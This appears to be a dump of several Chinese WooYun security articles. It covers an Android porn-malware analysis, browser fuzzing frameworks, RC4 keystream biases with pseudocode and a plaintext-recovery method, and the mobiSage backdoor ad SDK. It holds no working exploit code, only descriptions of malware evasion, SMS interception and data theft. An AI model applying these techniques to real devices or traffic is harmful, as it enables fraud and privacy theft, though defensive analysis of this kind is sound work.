https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html 105 | https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html 106 | https://github.com/80vul/phpcodz/blob/master/research/pch-031.md 107 | 108 | 109 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/色情病毒魅影杀手的恶意行为及黑产利益链分析.md: -------------------------------------------------------------------------------- 1 | # 色情病毒魅影杀手的恶意行为及黑产利益链分析 2 | 3 | [ 阿里移动安全](/author/阿里移动安全) · 2015/12/07 14:52 4 | 5 | # 0x00 概述 6 | 7 | * * * 8 | 9 | 近期，阿里移动安全团队发现大批量色情类病毒重新开始在某些论坛或者应用市场上泛滥。和以往的色情类病毒不同的是，它们使用了更多高级的技术手段来对抗安全软件的查杀。这类病毒具有以下特点： 10 | 11 | 1. 使用了代码加固技术，把恶意代码加密，运行后再从内存中解密出来； 12 | 2. 安装后伪装成系统组件，同时将自身安装隐藏在系统目录下，防止卸载的同时也躲避了部分安全软件的查杀； 13 | 3. 通过云端服务器配置不断创建虚假快捷方式、弹对话框、伪造通知栏等方式，强制推送安装其它恶意软件。 14 | 15 | 由于这类病毒通常使用美女图片作为应用市场上展示的图标，同时使用一些具有诱惑性的词语作为应用名称，没有经验的用户极易上当受骗，因此我们将其命名为“魅影杀手”。 16 | 17 | ![p1](http://static.wooyun.org//drops/20151205/20151205164718430501.jpg) 18 | 19 | 图：“魅影杀手”使用的图标和名称 20 | 21 | 截至10月底，国内有85.3万台设备感染了“魅影杀手”病毒。其中，感染最为严重的省份是广东、浙江和江苏。广东省平均45台设备中就有1台安装了该病毒。 22 | 23 | ![p2](http://static.wooyun.org//drops/20151205/20151205164720618412.jpg) 24 | 25 | 图：“魅影杀手”病毒感染用户量趋势 26 | 27 | ![p3](http://static.wooyun.org//drops/20151205/20151205164722308873.jpg) 28 | 29 | 图：“魅影杀手”的感染用户的区域分布 30 | 31 | # 0x01 技术分析 32 | 33 | * * * 34 | 35 | 为了进一步了解“魅影杀手”的演变过程，我们分析了该病毒家族在不同时期的样本。以下从与安全软件的对抗、恶意行为两个角度对该“魅影杀手”病毒的特点做了总结： 36 | 37 | **1.与安全软件对抗** 38 | 39 | a.代码加固 40 | 41 | Android加固技术的引入，确实在一定程度上解决了代码安全性的问题，但同时也给各种病毒木马提供了极佳的隐藏手段。我们发现大量的“魅影杀手”样本使用了加固技术隐藏自身，试图躲避杀毒软件查杀。从早期的DEX可执行代码整体加密存放到assets目录，演变到java层代码深度混淆解壳代码，再到目前在native层动态加载加密的恶意代码，说明病毒开发者也在费尽心思增加安全公司的逆向分析成本。 42 | 43 | ![p4](http://static.wooyun.org//drops/20151205/20151205164724187824.jpg) 44 | 45 | 图：恶意代码加固技术演变 46 | 47 | ![p5](http://static.wooyun.org//drops/20151205/20151205164725927955.jpg) 48 | 49 | 图：Native层通过DexClassLoader加载加密的恶意代码 50 | 51 | 同时该种加固存在大量变种，每隔一段时间将会修改so名和对应加密的jar名，native层里的initkey也会改变。 52 | 53 | b.防止卸载 54 | 55 | 为了长期驻留在用户的手机内，这类病毒样本还会通过伪装成系统组件、激活设备管理权限以及把自身拷贝到系统目录等方式，使得用户或者安全软件无法通过正常方式卸载。 56 | 57 | ![p6](http://static.wooyun.org//drops/20151205/20151205164727587296.jpg) 58 | 59 | 图：激活设备管理权限 60 | 61 | **2.恶意行为** 62 | 63 | a.订购收费服务 64 | 65 | “魅影杀手”病毒通常利用“私密快播”、“情涩视频”、“爱美热播”等带一些诱惑性的名称吸引用户点击，而在于其内置的付费模块，会在后台暗中扣取用户的话费，或者直接消耗流量，产生流量费。下图对一般的危害性做了统计。从图里看出，对用户危害最大的，是恶意扣费！！！ 66 | 67 | ![p7](http://static.wooyun.org//drops/20151205/20151205164728755067.jpg) 68 | 69 | 图：色情应用危害 70 | 71 | 色情类应用大多包涵多个支付模块，各个模块之间相互联系，经过分析发现，某些第三方提供的支付SDK存在短信拦截的行为，也就是说，当用户点击了付费之后，并不会收到扣费的确认短信（二次确认）。原因是因为该短信已经被拦截，下图是某个支付模块中的代码 72 | 73 | ![p8](http://static.wooyun.org//drops/20151205/20151205164730679948.jpg) 74 | 75 | 图：拦截短信 76 | 77 | 部分色情应用甚至私自发送扣费短信 78 | 79 | ![p9](http://static.wooyun.org//drops/20151205/20151205164732442839.jpg) 80 | 81 | 图：启动后静默发送扣费短信 82 | 83 | b.隐私窃取 84 | 85 | 分析过程中发现，部分恶意开发者将恶意代码包装入色情应用。恶意行为包括监控短信彩信的接收、读取短信箱内容，上传用户手机短信和联系人列表到黑客指定的邮件中。当黑客拿到这些信息之后，就可以进行信息贩卖，诈骗等。下图是分析人员拿到的某黑客的邮箱。 86 | 87 | ![p10](http://static.wooyun.org//drops/20151205/201512051647332244510.jpg) 88 | 89 | 图：搜集用户信息 90 | 91 | ![p11](http://static.wooyun.org//drops/20151205/201512051647356220911.jpg) 92 | 93 | 图：读取用户短信箱的信息 94 | 95 | c.强制推送并安装其它恶意软件 96 | 97 | 对一名叫”私密快播”分析。首先监控系统启动,随后启动RequestTask任务，以“发现您系统中缺少高清播放组件：1、突破防火墙限制，多种限制级大片供欣赏；2、快播专用通道已开通；3、更多精彩内容午夜开放，尽请期待！”诱骗用户下载安装，安装之后在后台不断疯狂下载恶意推送应用，并创建虚拟桌面诱导用户安装，消耗手机流量，非法推送恶意广告等等。 98 | 99 | ![p12](http://static.wooyun.org//drops/20151205/201512051647368537112.jpg) 100 | 101 | 图：下载服务器地址 102 | 103 | 对上图中下载链接访问: 104 | 105 | ![13](http://static.wooyun.org//drops/20151205/201512051647386319713.jpg) 106 | 107 | “durl”字段值是下载者链接，”title”,”desc”字段unicode编码,解密之后，对应下图弹出的对话框文章。 108 | 109 | ![p14](http://static.wooyun.org//drops/20151205/201512051647392284214.jpg) 110 | 111 | 图：诱导安装 112 | 113 | 对下载者应用，对上勾手机强行推送，整个过程包括查看用户下载了哪些应用，有哪些安装运行，哪些没有安装运行，并不断创建虚假快捷方式、弹对话框、伪造通知栏等方式引诱用户点击安装，最终导致手机中安装了大量恶意软件。服务端就是通过这种方式，知道用户安装运行了哪些应用，对成功推送的获取利用。 114 | 115 | ![p15](http://static.wooyun.org//drops/20151205/201512051647404117515.jpg) 116 | 117 | 图：强制提醒安装下载的应用 118 | 119 | ![p16](http://static.wooyun.org//drops/20151205/201512051647425101416.jpg) 120 | 121 | # 0x02 黑产利益链条分析 122 | 123 | * * * 124 | 125 | 由于该类色情类APP开发和制作流程简单，推广成本低，并且市场空间巨大，能够在短时间内产生经济效益，因此吸引了大批不法分子参与其中进行利益分成，并且逐渐形成了一条完善的黑色产业链。色情APP的开发者通过极低的推广费用，把样本上传到某些网络推广平台，例如小众的android市场、应用推广平台、色情网站、部分游戏或者游戏外挂网站等。由于这类色情APP本身的诱骗特性，容易激发用户的好奇心下载安装。一旦成功安装到用户手机上，它们会在后台偷偷订购一些移动运营商的收费服务，同时向用户手机推送更多恶意推广软件，这样黑产一方面参与电信收费项目的提成，另一方面还获得了更多的广告流量分成。 126 | 127 | 以下是“魅影杀手”病毒的黑产利益链条： 128 | 129 | ![p17](http://static.wooyun.org//drops/20151205/201512051647432051617.jpg) 130 | 131 | 图：“魅影杀手”病毒的黑产利益链条 132 | 133 | 由于目前国内不少的应用市场逐渐加强了代码安全审核，为了避免检测出恶意代码后应用被下架，有专业的黑产加固团队对恶意代码进行加密隐藏后再发布到应用市场。通过对样本渠道进行分析，我们发现，为了避免身份泄露，有些病毒开发者甚至将木马存储到自己的服务器上，并申请了一系列域名用于提供下载服务。 134 | 135 | 总结：“魅影杀手”病毒的黑产利益链条：恶意APK->借助推广渠道->色情网站或色情APP->引诱下载->广告联盟->恶意扣费。 136 | 137 | # 0x03 防范以及建议 138 | 139 | * * * 140 | 141 | 阿里移动安全提醒大家，为了避免中毒，我们建议大家尽量从官方网站或者可信任的Android应用市场下载手机应用，尽量不要安装来历不明的应用，尤其是带有诱惑性字眼的应用更需谨慎。如果不确定手机是否中毒，可以安装阿里钱盾等手机安全软件，对手机上的应用进行检测，防止高风险恶意应用的安装。 142 | 143 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/浏览器fuzz框架介绍.md: -------------------------------------------------------------------------------- 1 | # 浏览器fuzz框架介绍 2 | 3 | [ 绿盟科技](/author/绿盟科技) · 2015/11/21 14:28 4 | 5 | 本文简要介绍了流行的三个浏览器动态Fuzz工具cross_fuzz、grinder、X-Fuzzer的原理及其优缺点，并提供了一种通过动静结合的方式兼顾可重现性、通用性、高效性、自动化程度高的浏览器fuzz方法。 6 | 7 | # 0x00 引言 8 | 9 | * * * 10 | 11 | Fuzz（模糊测试）是一种侧重于发现软件安全漏洞的方法。典型地模糊测试过程是通过自动的或半自动的方法，反复驱动目标软件运行，并为其提供”精心”构造的输入数据，同时监控软件运行的异常，进而根据异常结果及输入数据查找软件的安全漏洞。随着SmartFuzz的发展，RCE（逆向代码工程）需求的增加，其特征更符合一种灰盒测试。其简要流程图如下： 12 | 13 | ![](http://static.wooyun.org//drops/20151121/2015112106041144302.png) 14 | 15 | Web浏览器是网络应用中使用最广泛的软件之一，IE、FireFox、Chrome等三款主流浏览器占据了Web浏览器市场的大部分份额，其自身的安全性备受关注、影响广泛。本文介绍的浏览器fuzz则是以上述三款浏览器作为fuzz的主要目标，以内容（css、html、js）随机的html页面作为被测浏览器的输入，并监控浏览器运行的异常情况，查找其安全漏洞。 16 | 17 | 浏览器fuzz是查找浏览器漏洞的一个常用且有效的方法，公开的动态浏览器fuzz工具有cross_fuzz、grinder、X-Fuzzer等，这些工具基本都通过javascript脚本进行fuzz操作，同时通过hook函数、localStorage本地存储等技术手段动态记录fuzz操作日志，捕获到异常后再根据记录日志进行还原。 18 | 19 | 现有浏览器fuzz工具动态记录日志方式可能会影响被测浏览器的执行环境进而导致有时不能够重现异常；且其在记录日志方法上通用性（如IE的ActiveXObject）、稳定性（grinder hook函数）欠佳。 20 | 21 | 很多浏览器fuzz工具每运行一个测试用例都会重启待测浏览器进程，因为浏览器重启在运行一个测试用例过程中耗时占比较大，进而导致fuzz效率不高。 22 | 23 | 有的浏览器fuzz工具（如经典的cross_fuzz）在遇到crash时会停止fuzz，自动化程度不够。 24 | 25 | 本文在总结了现有动态浏览器fuzz工具优缺点的同时，提供了一种通过动静结合的方式兼顾可重现性、通用性、高效性、自动化程度高的浏览器fuzz方法及其工具NBFuzz（New Browser Fuzz）。 26 | 27 | # 0x01 corss_fuzz 简介 28 | 29 | * * * 30 | 31 | cross_fuzz由google的安全研究人员Michal Zalewski开发，支持多个浏览器fuzz，并专门针对IE浏览器作了优化。这个工具及在其基础上衍生的浏览器fuzz工具发现了大量的浏览器安全漏洞，其设计思想对浏览器漏洞挖掘产生了深远的影响。 32 | 33 | cross_fuzz主要阐述了浏览器fuzz的设计思想，只是个演示性的功能模块，还不是一个完整的浏览器自动化fuzz工具，如关键的操作日志记录、异常监控等还需要用户自己来实现。 34 | 35 | ## 界面 36 | 37 | ![](http://static.wooyun.org//drops/20151121/2015112106041221517.png) 38 | 39 | ## 流程图 40 | 41 | ![](http://static.wooyun.org//drops/20151121/2015112106041224042.png) 42 | 43 | # 0x02 X-Fuzzer 简介 44 | 45 | * * * 46 | 47 | X-Fuzzer是由安全研究人员Vinay Katoch开发的一款轻量级的动态浏览器fuzz工具，其日志记录采用了主流浏览器通用localStorage本地存储、document.cookie，即使浏览器异常崩溃时日志也能够保存。此工具dom元素fuzz操作、日志记录都很简单，还需自行完善；而且此工具没有异常监控模块，不能实现自动化fuzz。 48 | 49 | ## 界面 50 | 51 | ![](http://static.wooyun.org//drops/20151121/2015112106041298767.png) 52 | 53 | ## 功能模块图 54 | 55 | ![](http://static.wooyun.org//drops/20151121/2015112106041343044.png) 56 | 57 | # 0x03 grinder 简介 58 | 59 | * * * 60 | 61 | grinder是一个自动化浏览器fuzz框架，客户端node主要采用ruby语言编写。 62 | 63 | 其日志记录通过向被测浏览器进程注入grinder_logger.dll ，进而hook javascript函数parseFloat在jscript9.dll、mozjs.dll等脚本引擎中的实现函数，这样需要记录日志时只需调用parseFloat函数，日志记录功能由grinder_logger.dll中相应的hook回调函数完成。需要注意的是下载相应dll符号文件后才能完成hook操作，且最近版本的Firefox已不包含mozjs.dll导致hook函数失败。此日志记录方法稳定性、通用性欠佳。 64 | 65 | 监控模块（ dbghelp.dll 、 symsrv.dll ）负责启动、监控被测浏览器，记录其异常信息，完成fuzz自动化 。 66 | 67 | 重现模块（ testcase.rb ）根据日志重现POC。 68 | 69 | 具体fuzz操作需要用户自行完善。 70 | 71 | ## 界面 72 | 73 | ![](http://static.wooyun.org//drops/20151121/2015112106041323677.png) 74 | 75 | # 0x04 NBFuzz 76 | 77 | * * * 78 | 79 | **NBFuzz 日志记录方法总结** 80 | 81 | * ActiveXObject只适用于IE。 82 | * cookie、html5的localStorage适合IE、Firefox、Chrome等主流浏览器，但存储大小有限制（cookie 4K、localStorage 5M），且需要设置浏览器支持cookie、记录历史。IE本地打开html文件时不支持localStorage。 83 | * html5本地数据库indexDB、SQLite的通用性不足（IE不支持或部分支持）且使用较复杂。 84 | * XMLHttpRequest通用性较好，但每一步fuzz操作都需要实时记录，通信总耗时较长，影响fuzz效率。 85 | * XMLHttpRequest改进：fuzz操作localStorage本地实时存储；每个测试用例开始时localStorage设置异常标志，没有异常在测试用例结束时置空异常标志；下一个测试用例通过XMLHttpRequest将产生异常的fuzz记录上传服务器。这样就解决了C/S实时记录fuzz操作日志的通信瓶颈且localStorage 大小能够满足要求。 86 | * 抛弃fuzz操作日志：动态记录日志可能影响重现性（如indexDB 、 localStorage 等操作），通用性、稳定性（如grinder hook函数）欠佳；NBFuzz直接生成测试用例，不记录fuzz操作日志，且生成的测试用例不存在随机操作，保证了可重现性、通用性。 87 | 88 | ## NBFuzz模块图 89 | 90 | ![](http://static.wooyun.org//drops/20151121/2015112106041320013.png) 91 | 92 | 通过测试用例生成程序生成大量指定浏览器的fuzz测试用例，将生成的测试用例和调度页面一并置于web服务端，监控模块打开待测浏览器访问调度页面，调度页面通过内嵌iframe页面顺序调用测试用例；监控模块记录被测浏览器异常或者超时重启被测浏览器进程，保障浏览器fuzz的自动化；最后分析监控模块记录的异常信息，找出可疑crash，根据其异常时间查找web服务端log文件中修改时间与之相匹配的文件，获取调度页面发来的导致异常的测试用例名称，进而重现crash，进一步判断漏洞的可利用性。 93 | 94 | ## 测试用例生成 95 | 96 | * **界面** 97 | 98 | ![](http://static.wooyun.org//drops/20151121/2015112106041469929.png) 99 | 100 | 根据选定的浏览器类型生成大量包含其特性（不同的属性、函数、垃圾回收机制等）的测试用例，由于使用了IE特有的ActiveXObject进行本地文件操作所以要求使用IE运行此程序，使用js写包含js的测试用例。 101 | 102 | * **流程图** 103 | 104 | ![](http://static.wooyun.org//drops/20151121/2015112106041451630.png) 105 | 106 | ## 测试用例加载（调度模块） 107 | 108 | 为解决每一个测试用例重启浏览器进程浏览器启动耗时占比大的问题，NBFuzz的调度模块通过内嵌iframe打开测试用例，一个测试用例完成后调度页面reload操作执行下一个测试用例，为防止页面不响应异常监控模块在超时后重启待测浏览器；同时为了防止web服务端记录log文件过多加入了不够精确的异常判断机制，因为超时重启将导致异常标志不能正常置false，产生误报，尽管如此也会大大减少log日志。 109 | 110 | 调度模块流程图如下： 111 | 112 | ![](http://static.wooyun.org//drops/20151121/2015112106041492027.png) 113 | 114 | # 0x05 浏览器Fuzz总结 115 | 116 | * * * 117 | 118 | 随着浏览器的安全机制（如IE的延迟释放、隔离堆等）不断加强，其安全漏洞井喷之势已经得到遏制；而目前仍应用广泛的flash由于其安全机制的不健全逐渐成为安全研究的热点，安全漏洞亦呈现爆发的态势，可以预见不久的将来若其仍固步自封，必将步java的后尘，逐渐被用户所”抛弃”。 119 | 120 | flash fuzz框架只需在NBFuzz框架的基础上进行些许的改变即可，如需增加as3测试用例编译成swf的过程。 121 | 122 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/1450356724.78.md: -------------------------------------------------------------------------------- 1 | # SSL/TLS协议安全系列：再见，RC4 2 | 3 | [ GoSSIP_SJTU](/author/GoSSIP_SJTU) · 2015/10/26 10:28 4 | 5 | # 0x00背景 6 | 7 | * * * 8 | 9 | RC4是美国密码学家Ron Rivest在1987年设计的密钥长度可变的流加密算法。它加解密使用相同的密钥，因此也属于对称加密算法。RC4曾被用在有线等效加密（WEP）中，但由于其错误的使用的方式已被有效破解，而如今，它又被TLS协议所放弃。 10 | 11 | 在2015年2月发布的RFC7465中,RC4密码套件被禁止在TLS各版本的客户端和服务端使用。客户端禁止在ClientHello中包含RC4套件，服务端禁止从ClientHello中提供的密码套件中选择RC4，如果客户端只提供了RC4，服务端必须终止握手。另外，谷歌、微软、Mozilla也宣布将于明年年初在各自的浏览器中停止对RC4的支持。 12 | 13 | 从1994年RC4被匿名公开在Cypherpunks邮件列表，到如今RC4被TLS协议放弃，安全研究员们做出了很多贡献。 14 | 15 | # 0x01 RC4 16 | 17 | * * * 18 | 19 | RC4算法分为两个部分。第一部分是密钥调度算法（key-scheduling algorithm）,根据key初始化S盒，第二部分是伪随机数生成算法(Pseudo-random generation algorithm)，生成密钥流，同时更新S盒的状态。 20 | 21 | 密钥调度算法: 22 | 23 | 24 | 25 | Input： 密钥K ，K长度Ｌ字节 26 | Output:初始化后的S盒子 27 | For i=0 to 255 do 28 | S[i] = i 29 | j=0 30 | for i=0 to 255 do 31 | j = ( j+S[i]+key[i mod L] )mod 256 32 | Swap(S[i],S[j]) 33 | Return S 34 | 35 | 36 | 伪随机数生成算法: 37 | 38 | 39 | 40 | Input: S盒 41 | Output：生成的密钥流 42 | i=0 43 | j=0 44 | while GeneratingOuput 45 | I = (i+1) mod 256 46 | j = (j+S[i]) mod 256 47 | Swap（S[i],S[j]） 48 | Z = S[ (S[i]+S[j]) mod 256] 49 | Output z 50 | 51 | 52 | 密钥key实际可用的长度最大为256字节，但典型的长度是40-128 bit。 53 | 54 | # 0x02 偏移 55 | 56 | * * * 57 | 58 | Rc4的最初若干字节密钥流的非均匀分布 59 | 60 | ## 1\. 单字节偏移 61 | 62 | 在密钥随机的前提下，如果密钥流是均匀的话，每个字节出现的概率应该是1/256=0.3906%,但从理论分析和实验结果来看，密钥流某些位置上的某些字节出现的概率要明显高于(或低于)其他字节，即偏移（biase） 63 | 64 | RC4单字节偏移现象最初由Mantin and Shamir等人发现。他们指出密钥流的第二个字节,Z2=0的概率约为1/128,而不是1/256 65 | 66 | ![](http://static.wooyun.org//drops/20151019/2015101911165140318180.png) 67 | 68 | 在S盒初始化结束，生成密钥流的过程中，假设S[2](http://static.wooyun.org//drops/20151019/2015101911165285993240.png)=0,S[1](http://static.wooyun.org//drops/20151019/2015101911165140318180.png)=X≠2,S[X]=Y,根据伪随机数生成算法，第一轮，S[X]和S[1](http://static.wooyun.org//drops/20151019/2015101911165140318180.png)互换，生成的密钥字节是S[X+Y];第二轮，S[2](http://static.wooyun.org//drops/20151019/2015101911165285993240.png)和S[X]互换，生成的密钥字节是S[X]=0，即Z2=0。 69 | 70 | 由条件概率公式，计算出z2=0的概率约为1/128 71 | 72 | 73 | 74 | P[z2 = 0] = P[z2 = 0|S[2]= 0] * P[S[2]= 0] 75 | + P[z2 = 0|S[2] ≠ 0] * P[S[2] ≠ 0] 76 | ≈ 1*1/256 + 1/256*(1-1/256) 77 | ≈ 1/128 78 | 79 | 80 | 实验结果表明其他位置处的密钥字节也存在偏移现象。 81 | 82 | ![](http://static.wooyun.org//drops/20151019/2015101911165285993240.png) 83 | 84 | ![](http://static.wooyun.org//drops/20151019/2015101911165450882325.png) 85 | 86 | 单字节偏移的局限性在于偏移现象只在初始的约256个字节出现。 87 | 88 | ## 2\. 多字节偏移 89 | 90 | 多字节偏移又称long term biase,一些字节对出现的概率高于其他字节，会在密钥流中周期性的出现，最初由Fluhrer 和McGrew等人发现。 91 | 92 | ![](http://static.wooyun.org//drops/20151019/2015101911165698761419.png) 93 | 94 | ## 3\. RC4NOMORE 95 | 96 | 2015年Mathy Vanhoef及Frank Piessens发表了对RC4新的攻击方法，他们发现了新的偏移，只需要约9*2^27个密文就可以使cookie破解成功率达到94%，破解时间为75小时。这是第一个被证实可行的此类攻击。他们的论文《All Your Biases Belong to Us:Breaking RC4 in WPA-TKIP and TLS》发表在USENIX Security2015，并被评为Best Student Paper 97 | 98 | # 0x03 概率 99 | 100 | * * * 101 | 102 | 学过概率与统计课程的同学应该对下面的题目有印象 103 | 104 | “随机抛n次硬币，求恰好出现m次正面向上的概率” 105 | 106 | 这个概率符合二项分布，每次实验只有两种可能的结果。二项分布的名字来源于其概率公式符合二项展开的公式。 107 | 108 | ![](http://static.wooyun.org//drops/20151019/2015101911165734168515.png) 109 | 110 | 每次实验，两种结果出现的概率分别为a和b，重复实验n次，展开式中的每一项都是一个独立事件，如`n*a^(n-1)*b`表示第一种结果发生了n-1次，第二种结果发生了1次，这个现象发生的概率是`n*a^(n-1)*b` 111 | 112 | 将两种结果推广到更多的结果，就产生了多项分布。 113 | 114 | “随机抛n次正方体骰子，点数1-6出现的次数分别为(x1,x2,x3,x4,x5,x6)的概率是多少,其中x1+x2+x3+x4+x5+x6=n” 115 | 116 | 更一般的情况是不规则的骰子。这种概率仍然符合多项展开公式 117 | 118 | ![](http://static.wooyun.org//drops/20151019/2015101911165996645613.png) 119 | 120 | 基于概率论的相关公式，我们就可以利用RC4密钥流中的偏移特性，对明文某一字节出现的概率进行计算，从而攻破RC4. 121 | 122 | 在预处理阶段，通过大量的实验，生成随机的key，统计密钥流中各字节出现的概率，类似求出前面多项展开式中的p1，p2 123 | 124 | 在获取密文阶段，通过一些手段，不断用RC4加密同样的明文，记录出现的密文.类似求出前面多项展开式中的n1，n2 125 | 126 | 最后，计算明文各个字节的概率，从概率较高的候选字节中恢复明文。 127 | 128 | ![](http://static.wooyun.org//drops/20151019/2015101911170270158817.png) 129 | 130 | 最后给出针对单字节偏移的明文概率估计的整体算法。 131 | 132 | ![](http://static.wooyun.org//drops/20151019/2015101911170192632715.png) 133 | 134 | 实验结果：当搜集的密文数为2^26时，前96个字节恢复的概率均超过50%；当密文数为2^32时，恢复的概率基本为100%。 135 | 136 | ![](http://static.wooyun.org//drops/20151019/2015101911170415747915.png) 137 | 138 | ![](http://static.wooyun.org//drops/20151019/20151019111744682831013.png) 139 | 140 | 对于多字节偏移，还要用到更加复杂的概率公式，在此就不详细介绍了，但总体的思路还是一样的。此外，针对HTTP cookie，有简化运算的条件，如cookie字段总是以“Cookie:”开头，以换行符结尾，大部分cookie中的字符都是16进制字符。有兴趣的同学可以参考USENIXsecurity2013年的论文《On the Security of RC4 in TLS and WPA》 141 | 142 | # 0x04 结语 143 | 144 | * * * 145 | 146 | 或许有人会说，“既然密钥流初始的若干字节有偏移问题，抛弃那些字节不就可以继续用了么？”的确，RC4后来也出现了抛弃初始字节的版本RC4-dropN,但有问题的原始版本已经被大范围实现和部署，RC4的速度优势在当今硬件条件下也不是特别重要，因此TLS协议放弃RC4是一个方便、安全的选择。 147 | 148 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/iBackDoor(爱后门)和DroidBackDoor(安后门)：同时影响iOS和Android的”后门”SDK？.md: -------------------------------------------------------------------------------- 1 | # iBackDoor(爱后门)和DroidBackDoor(安后门)：同时影响iOS和Android的”后门”SDK？ 2 | 3 | [ 蒸米](/author/蒸米) · 2015/11/05 10:11 4 | 5 | **作者：蒸米@阿里移动安全，楚安@阿里威胁感知，迅迪@阿里移动安全** 6 | 7 | # 0x00 FireEye报告 8 | 9 | * * * 10 | 11 | iOS被XcodeGhost血洗一把之后，Android又被WormHole暴揍一顿。正当大家打算歇一歇的时候，FireEye的Zhaofeng等人又发表了一篇报告叫《iBackDoor: High-Risk Code Hits iOSApps》。报告中指出FireEye的研究员发现了疑似”后门”行为的广告库mobiSage在上千个app中，并且这些app都是在苹果官方AppStore上架的应用。通过服务端的控制，这些广告库可以做到： 12 | 13 | 1. 录音和截屏 14 | 2. 上传GPS信息 15 | 3. 增删改查app数据 16 | 4. 读写app的钥匙链 17 | 5. 发送数据到服务器 18 | 6. 利用URL schemes打开其他app或者网页 19 | 7. 安装企业应用 20 | 21 | FireEye的研究员一共在App Store上发现了2,846个app包含具有“后门”特征的mobiSage广告库。并且这些广告库会不断的向服务器端发送请求，并获取执行指令的JavaScript脚本。FireEye的研究员还发现mobiSage广告库一共有17不同的版本从5.3.3到6.4.4。然而在最新的mobiSage SDK 7.0.5版本中已经将这些”后门”特征删掉了。 22 | 23 | # 0x01 iOS样本 - iBackDoor分析 24 | 25 | * * * 26 | 27 | 看到FireEye的报告后，我们第一时间拿到了iOS上的app样本进行分析（注：在我们分析时，该样本还没有下架）。在广告库的类MSageCoreUIManagerPlugin中，我们的确发现了报告中所提到的各种控制功能。其中包括非常高危的获取录音、截屏功能以及读取修改字符串的函数。 28 | 29 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454315024.png) 30 | 31 | 根据反编译的代码可以看到，iBackDoor在获取到服务器命令后会启动录音功能并将录音保存为audio_[编号].wav，并且可以通过sendHttpUpload函数将文件发送到服务器上。 32 | 33 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454343300.png) 34 | 35 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454390909.png) 36 | 37 | iBackDoor还可以截取当前屏幕的内容，反编译代码如下： 38 | 39 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454392363.png) 40 | 41 | iBackDoor还可以读取keychain的数据，也就是iOS上的app用来保存密码信息的容器： 42 | 43 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454490700.png) 44 | 45 | 一个广告sdk，为什么需要录音，截屏和读取密码等功能呢？的确非常可疑。 46 | 47 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454417599.png) 48 | 49 | 除此之外，iBackDoor还可以根据服务器的指令调用任意的URLSchemes，也就是说XcodeGhost可以干的事情（打开钓鱼网页，安装企业应用等）iBackDoor也都可以干。比如如下是安装企业应用的反编译代码： 50 | 51 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454434031.png) 52 | 53 | # 0x02 数据流量分析 54 | 55 | * * * 56 | 57 | 通过分析反汇编代码我们发现中了iBackDoor的app会根据本地的msageJS脚本执行相应的指令。除此之外，iBackDoor还会发送post请求到entry.adsage.com去检查更新，如果有新的JS命令脚本就会到mws.adsage.com下载。 58 | 59 | 于是我们分析了一下entry.adsage.com和mws.adsage.com的DNS解析和流量数据： 60 | 61 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454479569.png) 62 | 63 | 根据DNS解析趋势，可以看到每天请求的数据并没有太大的浮动。但有意思的是，在对流量的分析中，除了adv-ios-*-min.zip外我们还发现了很多机器对adv-android-*-min.zip的下载请求。难道除了iOS的app，android上的app也难逃魔爪？ 64 | 65 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454417680.png) 66 | 67 | 并且这个请求的数量还不小，在我们有限的监测流量中，光九月份就有4亿多次对adsage.com的数据发送。并且，最近半年内至少有超过50000次对更新脚本adv-ios-*-min.zip或adv-android-*-min.zip的下载请求。 68 | 69 | # 0x03 Android样本 - DroidBackDoor分析 70 | 71 | * * * 72 | 73 | 上文讲到了我们除了iOS的payload还发现了Android的payload，我们把这个payload下载下来一看，发现原来就是个动态加载的dex文件。这个dex文件包含了非常多的高危代码，我们把它称为DroidBackDoor。DroidBackDoor除了广告sdk都会做的获取手机各种信息，下载和安装任意apk外，还可以获取用户的坐标、打开任意网页、打电话、发短信等。 74 | 75 | 收集用户的imei，root信息，地理位置，wifi信息等几十种信息： 76 | 77 | ![in1](http://static.wooyun.org//drops/20151105/2015110505592495575in1.png) 78 | 79 | ![in2](http://static.wooyun.org//drops/20151105/2015110505592641395in2.png) 80 | 81 | ![in3](http://static.wooyun.org//drops/20151105/2015110505592771888in3.png) 82 | 83 | ![in4](http://static.wooyun.org//drops/20151105/2015110505592978865in4.png) 84 | 85 | ![in5](http://static.wooyun.org//drops/20151105/2015110505593410887in5.png) 86 | 87 | ![in6](http://static.wooyun.org//drops/20151105/2015110505593942083in6.png) 88 | 89 | ![in7](http://static.wooyun.org//drops/20151105/2015110505594039419in7.png) 90 | 91 | 获取用户坐标的反汇编代码： 92 | 93 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454531487.png) 94 | 95 | 打开任意网页的反汇编代码： 96 | 97 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454536774.png) 98 | 99 | 打电话的反汇编代码： 100 | 101 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454565079.png) 102 | 103 | 发短信的反汇编代码： 104 | 105 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151104/2015110418454560975.png) 106 | 107 | 我们将提取的mobisage的特征去后台数据库查询，发现Android上也有超过2000款的app使用了mobisage的sdk。 108 | 109 | # 0x04 网站分析 110 | 111 | * * * 112 | 113 | 通过相关域名网站(http://www.adsage.cn/index.html)，可以知道这家公司的名字叫艾德思奇，并且有很多知名的合作伙伴和案列。我们建议所有使用了这个SDK的厂商应立刻检查自己产品中是否被插入了高危风险的代码，以免被苹果下架。 114 | 115 | # 0x05 总结 116 | 117 | * * * 118 | 119 | 虽然这次”后门”SDK同时影响了iOS和Android，但根据我们的数据分析结果发现影响力是远远不及XcodeGhost和WormHole的。所以用户不用太过担心，在受影响的app下架之前尽量不要安装不知名应用，并记得及时更新自己的app。 120 | 121 | # 0x06 参考资料 122 | 123 | * * * 124 | 125 | 1. 